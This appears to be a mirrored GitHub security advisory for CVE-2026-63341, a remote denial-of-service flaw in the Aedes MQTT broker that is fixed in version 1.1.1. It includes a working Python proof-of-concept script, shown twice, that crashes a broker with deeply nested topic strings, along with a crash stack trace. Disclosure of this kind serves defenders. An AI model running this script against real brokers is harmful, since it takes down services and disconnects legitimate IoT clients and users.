GHSA-XXQP-5QX8-GJ5Q
Vulnerability from github – Published: 2026-11-20 23:32 – Updated: 2026-11-20 23:32Summary
A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.
Details
The Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.
This function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.
This vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.
Stack Trace from Crash:
aedes-broker | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604
aedes-broker | throw new Error('too many words');
aedes-broker | ^
aedes-broker |
aedes-broker | Error: too many words
aedes-broker | at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)
aedes-broker | at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)
aedes-broker | at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)
aedes-broker | at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)
aedes-broker | at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)
aedes-broker | at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)
The same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.
PoC
Prerequisites + Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command:
docker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest
- Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker's configuration).
Reproduction Steps
- Save the following Python stress testing script (mqtt_crash_poc.py):
#!/usr/bin/env python3
import argparse
import time
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, reason_code, properties=None):
if reason_code != 0:
print(f"[-] Error en la conexión: {reason_code}")
def on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):
if reason_code != 0:
print(f"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}")
def run_exploit(host, port):
# Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)
payloads = [
{"type": "PUB_DEEP", "topic": "a/" * 30000 + "target"},
{"type": "PUB_LIMIT", "topic": "a/" * 32766 + "a/b"},
{"type": "SUB_WILD", "topic": "+/" * 150 + "#", "pub": "A/" * 150 + "target"},
{"type": "SUB_DEEP", "topic": "+/" * 10000 + "#", "pub": "A/" * 10000 + "target"}
]
for case in payloads:
print(f"\n[*] Lanzando vector de ataque tipo: {case['type']}")
client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
try:
client.connect(host, port, keepalive=60)
client.loop_start()
time.sleep(1)
if "PUB" in case['type']:
client.publish(case['topic'], payload="DoS_Attack", qos=0)
else:
client.subscribe(case['topic'], qos=0)
time.sleep(1)
client.publish(case['pub'], payload="DoS_Attack", qos=0)
time.sleep(2)
except Exception as e:
print(f"[-] Error durante el envío: {e}")
finally:
client.loop_stop()
client.disconnect()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--direccion", required=True, help="IP del broker")
parser.add_argument("-p", "--puerto", type=int, default=1883, help="Puerto")
args = parser.parse_args()
run_exploit(args.direccion, args.puerto)
- Run the script against the target broker:python3 mqtt_crash_poc.py -d -p 1883
- Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception.
Impact
This is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "aedes"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63341"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T23:32:35Z",
"nvd_published_at": "2026-10-30T23:17:13Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of \u0027/\u0027 delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.\n\n### Details\nThe Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.\n\nThis function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.\n\nThis vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.\n\nStack Trace from Crash:\n```Plaintext\naedes-broker | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604\naedes-broker | \tthrow new Error(\u0027too many words\u0027);\naedes-broker | \t^\naedes-broker | \naedes-broker | Error: too many words\naedes-broker | at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)\naedes-broker | at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)\naedes-broker | at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)\naedes-broker | at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)\naedes-broker | at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)\naedes-broker | at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)\n```\nThe same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.\n\n### PoC\n**Prerequisites**\n+ Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command:\n```bash\ndocker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest\n```\n+ Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker\u0027s configuration).\n\n**Reproduction Steps**\n\n1. Save the following Python stress testing script (mqtt_crash_poc.py):\n```Python\n#!/usr/bin/env python3\nimport argparse\nimport time\nimport paho.mqtt.client as mqtt\n\ndef on_connect(client, userdata, flags, reason_code, properties=None):\n if reason_code != 0:\n print(f\"[-] Error en la conexi\u00f3n: {reason_code}\")\n\ndef on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):\n if reason_code != 0:\n print(f\"[*] -\u003e Desconexi\u00f3n detectada (Ca\u00edda del br\u00f3ker). Raz\u00f3n: {reason_code}\")\n\ndef run_exploit(host, port):\n # Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)\n payloads = [\n {\"type\": \"PUB_DEEP\", \"topic\": \"a/\" * 30000 + \"target\"},\n {\"type\": \"PUB_LIMIT\", \"topic\": \"a/\" * 32766 + \"a/b\"},\n {\"type\": \"SUB_WILD\", \"topic\": \"+/\" * 150 + \"#\", \"pub\": \"A/\" * 150 + \"target\"},\n {\"type\": \"SUB_DEEP\", \"topic\": \"+/\" * 10000 + \"#\", \"pub\": \"A/\" * 10000 + \"target\"}\n ]\n \n for case in payloads:\n print(f\"\\n[*] Lanzando vector de ataque tipo: {case[\u0027type\u0027]}\")\n client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)\n client.on_connect = on_connect\n client.on_disconnect = on_disconnect\n \n try:\n client.connect(host, port, keepalive=60)\n client.loop_start()\n time.sleep(1)\n \n if \"PUB\" in case[\u0027type\u0027]:\n client.publish(case[\u0027topic\u0027], payload=\"DoS_Attack\", qos=0)\n else:\n client.subscribe(case[\u0027topic\u0027], qos=0)\n time.sleep(1)\n client.publish(case[\u0027pub\u0027], payload=\"DoS_Attack\", qos=0)\n \n time.sleep(2)\n except Exception as e:\n print(f\"[-] Error durante el env\u00edo: {e}\")\n finally:\n client.loop_stop()\n client.disconnect()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-d\", \"--direccion\", required=True, help=\"IP del broker\")\n parser.add_argument(\"-p\", \"--puerto\", type=int, default=1883, help=\"Puerto\")\n args = parser.parse_args()\n run_exploit(args.direccion, args.puerto)\n```\n\n2. Run the script against the target broker:python3 mqtt_crash_poc.py -d \u003cBROKER_IP\u003e -p 1883\n3. Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception.\n\n### Impact\nThis is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.",
"id": "GHSA-xxqp-5qx8-gj5q",
"modified": "2026-11-20T23:32:35Z",
"published": "2026-11-20T23:32:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moscajs/aedes/security/advisories/GHSA-xxqp-5qx8-gj5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63341"
},
{
"type": "WEB",
"url": "https://github.com/moscajs/aedes/commit/b9024faa4cb416c4c6980760b4d7f55336315f2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/moscajs/aedes"
},
{
"type": "WEB",
"url": "https://github.com/moscajs/aedes/releases/tag/v1.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Aedes has Uncaught Exception and Uncontrolled Resource Consumption"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.